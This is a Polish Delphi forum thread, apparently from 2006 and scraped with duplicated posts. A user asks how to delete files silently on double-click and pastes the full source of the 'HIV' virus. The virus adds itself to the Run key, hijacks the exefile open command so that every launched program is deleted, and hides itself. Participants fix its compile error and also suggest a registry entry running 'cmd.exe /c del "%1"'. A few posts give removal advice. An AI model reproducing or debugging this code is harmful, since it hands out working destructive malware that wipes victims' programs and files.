Ĺadny brzuch
Jak wyposażyc program działający w tle w opcję usuwania plików z
pominięciem kosza po dwukrotnym kliknięciu
na plik, który chcemy usunąc? Zależy mi na tym, żeby nie pytał o
potwierdzenie usunięcia...
Jak wyposażyc program działający w tle w opcję usuwania plików z
pominięciem kosza po dwukrotnym kliknięciu
na plik, który chcemy usunąc? Zależy mi na tym, żeby nie pytał o
potwierdzenie usunięcia...
Próbowałem już ściągnąć kod z wirusa HIV, którego kod źródłowy jest dostępny na stronie Delphi.host.sk, ale po skopiowaniu kod niedziała, a sam program nie kompiluje się...
Próbowałem już ściągnąć kod z wirusa HIV, którego kod źródłowy jest dostępny na stronie Delphi.host.sk, ale po skopiowaniu kod niedziała, a sam program nie kompiluje się...
Zwykłe usunięcie pliku? :blink:DeleteFile('c:\plik.txt');lubuses ShellApi; ... var s:shfileopstruct; begin s.Wnd:=Handle; s.wFunc:=FO_DELETE; s.pFrom:='c:\plik.txt'; s.pTo:=''; s.fFlags:=FOF_SILENT or FOF_NOERRORUI or FOF_NOCONFIRMATION; SHFileOperation(s); end;
Użytkownik Cyrkiel edytował ten post 05 luty 2006, 17:12
Nie, ja myśle że jemu chodzi o to aby po dwukrotnym kliknięciu w eksplorerze windows plik zamiast się otworzyć, usunał się. Pomysł ciekawy gorzej z wykonaniem :lol:
Wcale nie gorzej, wystarczy dodać do rejestru wpis, np. to:
HKCR\Paint.Picture\Shell\Open\Command i jaką domyślną wartość wpisać np. cmd.exe /c del "%1" :) To jest dla 'obrazków', możnaby dla wszystkich plików, ale nie jako polecenie domyślne (dwuklik) :(
Użytkownik Cyrkiel edytował ten post 05 luty 2006, 17:42
A niedałoby się, żeby usuwało wszystkie pliki? Może zajrzyjcie do tego HIV'a i może połapiecie się co tam jest nie tak... HIV jest napisany w delphi, ale do wcześniejszej wersji.
Przytaczam tu cały kod źródłowy HIV'a "żywcem" skopiowany nic nie kasowałem
(*****************************************) { Wirus HIV Source } { Copyright (c) 2000 by Bald } { E-mail: bald@pf.pl } {-----------------------------------------} { Zobaczcie jak latwo jest napisac wirusa! Byc moze nie jest to 100% wirus bo nie rozsyla sie, ale i tak moze spowodowad duze szkody. Piszac go nie mialem zlych intencji. Chcialem tylko pokazac, ze napisanie programu, ktory wyrzadza szkody w komputerze jest proste! Jak dziala ten program!? Wystarczy go uruchomic, a wirus ten podstawi sie do rejestru jako domyslny program do plikow EXE. Jezeli bedziesz prubowal taki program uruchomic to skonczy sie to fatalnie dla programu - zostanie on skasowany! Nie probujcie jego dzialania - wystarczy, ze ja sprawdzilem. :) Nawet gdy bedziesz probowal zmnienic klucz rejestru to i tak nie wejdziesz do edytora rejstru. } program hiv; uses Forms, Windows, Dialogs, Registry; var Reg : TRegistry; procedure WriteToReg; begin Reg := TRegistry.Create; try Reg.RootKey := HKEY_LOCAL_MACHINE; Reg.OpenKey( // dodanie wartosci do rejestru dzieki czemu wirus ten // bedzie uruchamiany wraz ze startem systemu. 'Software\Microsoft\Windows\CurrentVersion\Run', True); Reg.WriteString('xxx', Application.ExeName); Reg.CloseKey; Reg.RootKey := HKEY_CLASSES_ROOT; Reg.OpenKey( // dopisz klucz dzieki, ktoremu wirus bedzie wykorzystany // jako domyslny program do plikow EXE 'exefile\shell\open\command', True); Reg.WriteString('', '"'+ Application.ExeName + '" "%1"'); finally Reg.Free; end; end; procedure DeleteFiles; begin { Procedura najpierw pobiera sciezke uruchomianego programu, a nastepnie usuwa go. Jezeli urchamianym programem jest sam witus HIV nic sie nie dzieje. } try if ParamCount > 0 then DeleteFile(ParamStr(1)); except Exit; end; end; begin Application.Initialize; Application.Run; WriteToReg; DeleteFiles; // ukryj ikone aplikacji... SetFileAttributes(PChar(Application.ExeName), FILE_ATTRIBUTE_HIDDEN); end.
Przy kompilacji delphi zaznacza linijkę "DeleteFile(ParamStr(1));"
Może wy coś z tego zrozumiecie...
Ale jak ? Żeby usuwało wszystkie pliki z danego katalogu ? W kodzie który podałeś wszystko się zgadza :P Może przekręciłeś go w swoim programie.
Ale jak ? Żeby usuwało wszystkie pliki z danego katalogu ? W kodzie który podałeś wszystko się zgadza :P Może przekręciłeś go w swoim programie.
A nie powinno być tak? :PDeleteFile(ParamStr[1]);
Bład istnieje, ponieważ występuje konflikt typów :excl:
Zamiast
DeleteFile(ParamStr(1));
daj
DeleteFile(Pchar(ParamStr(1)));
W gruncie to dziwne, że na stronie autor zamieścił kod z błędem.... :P
Użytkownik Lycon edytował ten post 07 luty 2006, 17:00
A, czy jest jakis sposób na obrone przed tym wirusem, jeśli jest to jaki...
Nie kompilować i nie uruchamiać :P A poważniej, można go usunąć z konsoli (konsola nie obsługuje skojarzeń). Wstarczy usunąć exec wirusa, a po uruchomieniu kompa da się już zadziałać w samym systemie (jak sądzę - system powinien zapytać, jakim programem ma "otwierać" pliki exe)
Nie kompilować i nie uruchamiać :P A poważniej, można go usunąć z konsoli (konsola nie obsługuje skojarzeń). Wstarczy usunąć exec wirusa, a po uruchomieniu kompa da się już zadziałać w samym systemie (jak sądzę - system powinien zapytać, jakim programem ma "otwierać" pliki exe)
W jaki sposób włączyć konsolę przed zalogowaniem do Windowsa?
Włącz win w trybie awaryjnym, wtedy wirus się nie uruchomi :)
Uruchomić go z parametrem z jego pełną nazwą, wtedy się usunie :lol:
Przecież w jednym z komentarzy jest napisane, że gdy uruchomi się wirusa nic sie niestanie.
Tak na marginesie to o czym my wogóle piszemy ? Temat ma już odpowiedź :mellow: !
zanotowane.pl doc.pisz.pl pdf.pisz.pl zsf.htw.pl
pominięciem kosza po dwukrotnym kliknięciu
na plik, który chcemy usunąc? Zależy mi na tym, żeby nie pytał o
potwierdzenie usunięcia...
Jak wyposażyc program działający w tle w opcję usuwania plików z
pominięciem kosza po dwukrotnym kliknięciu
na plik, który chcemy usunąc? Zależy mi na tym, żeby nie pytał o
potwierdzenie usunięcia...

Próbowałem już ściągnąć kod z wirusa HIV, którego kod źródłowy jest dostępny na stronie Delphi.host.sk, ale po skopiowaniu kod niedziała, a sam program nie kompiluje się...
Próbowałem już ściągnąć kod z wirusa HIV, którego kod źródłowy jest dostępny na stronie Delphi.host.sk, ale po skopiowaniu kod niedziała, a sam program nie kompiluje się...

Zwykłe usunięcie pliku? :blink:DeleteFile('c:\plik.txt');lubuses ShellApi; ... var s:shfileopstruct; begin s.Wnd:=Handle; s.wFunc:=FO_DELETE; s.pFrom:='c:\plik.txt'; s.pTo:=''; s.fFlags:=FOF_SILENT or FOF_NOERRORUI or FOF_NOCONFIRMATION; SHFileOperation(s); end;
Użytkownik Cyrkiel edytował ten post 05 luty 2006, 17:12
Nie, ja myśle że jemu chodzi o to aby po dwukrotnym kliknięciu w eksplorerze windows plik zamiast się otworzyć, usunał się. Pomysł ciekawy gorzej z wykonaniem :lol:
Wcale nie gorzej, wystarczy dodać do rejestru wpis, np. to:
HKCR\Paint.Picture\Shell\Open\Command i jaką domyślną wartość wpisać np. cmd.exe /c del "%1" :) To jest dla 'obrazków', możnaby dla wszystkich plików, ale nie jako polecenie domyślne (dwuklik) :(
Użytkownik Cyrkiel edytował ten post 05 luty 2006, 17:42
A niedałoby się, żeby usuwało wszystkie pliki? Może zajrzyjcie do tego HIV'a i może połapiecie się co tam jest nie tak... HIV jest napisany w delphi, ale do wcześniejszej wersji.
Przytaczam tu cały kod źródłowy HIV'a "żywcem" skopiowany nic nie kasowałem
(*****************************************) { Wirus HIV Source } { Copyright (c) 2000 by Bald } { E-mail: bald@pf.pl } {-----------------------------------------} { Zobaczcie jak latwo jest napisac wirusa! Byc moze nie jest to 100% wirus bo nie rozsyla sie, ale i tak moze spowodowad duze szkody. Piszac go nie mialem zlych intencji. Chcialem tylko pokazac, ze napisanie programu, ktory wyrzadza szkody w komputerze jest proste! Jak dziala ten program!? Wystarczy go uruchomic, a wirus ten podstawi sie do rejestru jako domyslny program do plikow EXE. Jezeli bedziesz prubowal taki program uruchomic to skonczy sie to fatalnie dla programu - zostanie on skasowany! Nie probujcie jego dzialania - wystarczy, ze ja sprawdzilem. :) Nawet gdy bedziesz probowal zmnienic klucz rejestru to i tak nie wejdziesz do edytora rejstru. } program hiv; uses Forms, Windows, Dialogs, Registry; var Reg : TRegistry; procedure WriteToReg; begin Reg := TRegistry.Create; try Reg.RootKey := HKEY_LOCAL_MACHINE; Reg.OpenKey( // dodanie wartosci do rejestru dzieki czemu wirus ten // bedzie uruchamiany wraz ze startem systemu. 'Software\Microsoft\Windows\CurrentVersion\Run', True); Reg.WriteString('xxx', Application.ExeName); Reg.CloseKey; Reg.RootKey := HKEY_CLASSES_ROOT; Reg.OpenKey( // dopisz klucz dzieki, ktoremu wirus bedzie wykorzystany // jako domyslny program do plikow EXE 'exefile\shell\open\command', True); Reg.WriteString('', '"'+ Application.ExeName + '" "%1"'); finally Reg.Free; end; end; procedure DeleteFiles; begin { Procedura najpierw pobiera sciezke uruchomianego programu, a nastepnie usuwa go. Jezeli urchamianym programem jest sam witus HIV nic sie nie dzieje. } try if ParamCount > 0 then DeleteFile(ParamStr(1)); except Exit; end; end; begin Application.Initialize; Application.Run; WriteToReg; DeleteFiles; // ukryj ikone aplikacji... SetFileAttributes(PChar(Application.ExeName), FILE_ATTRIBUTE_HIDDEN); end.
Przy kompilacji delphi zaznacza linijkę "DeleteFile(ParamStr(1));"
Może wy coś z tego zrozumiecie...
Ale jak ? Żeby usuwało wszystkie pliki z danego katalogu ? W kodzie który podałeś wszystko się zgadza :P Może przekręciłeś go w swoim programie.
Ale jak ? Żeby usuwało wszystkie pliki z danego katalogu ? W kodzie który podałeś wszystko się zgadza :P Może przekręciłeś go w swoim programie.

A nie powinno być tak? :PDeleteFile(ParamStr[1]);
Bład istnieje, ponieważ występuje konflikt typów :excl:
Zamiast
DeleteFile(ParamStr(1));
daj
DeleteFile(Pchar(ParamStr(1)));
W gruncie to dziwne, że na stronie autor zamieścił kod z błędem.... :P
Użytkownik Lycon edytował ten post 07 luty 2006, 17:00
A, czy jest jakis sposób na obrone przed tym wirusem, jeśli jest to jaki...
Nie kompilować i nie uruchamiać :P A poważniej, można go usunąć z konsoli (konsola nie obsługuje skojarzeń). Wstarczy usunąć exec wirusa, a po uruchomieniu kompa da się już zadziałać w samym systemie (jak sądzę - system powinien zapytać, jakim programem ma "otwierać" pliki exe)
Nie kompilować i nie uruchamiać :P A poważniej, można go usunąć z konsoli (konsola nie obsługuje skojarzeń). Wstarczy usunąć exec wirusa, a po uruchomieniu kompa da się już zadziałać w samym systemie (jak sądzę - system powinien zapytać, jakim programem ma "otwierać" pliki exe)

W jaki sposób włączyć konsolę przed zalogowaniem do Windowsa?

Włącz win w trybie awaryjnym, wtedy wirus się nie uruchomi :)
Uruchomić go z parametrem z jego pełną nazwą, wtedy się usunie :lol:

Przecież w jednym z komentarzy jest napisane, że gdy uruchomi się wirusa nic sie niestanie.

Tak na marginesie to o czym my wogóle piszemy ? Temat ma już odpowiedź :mellow: !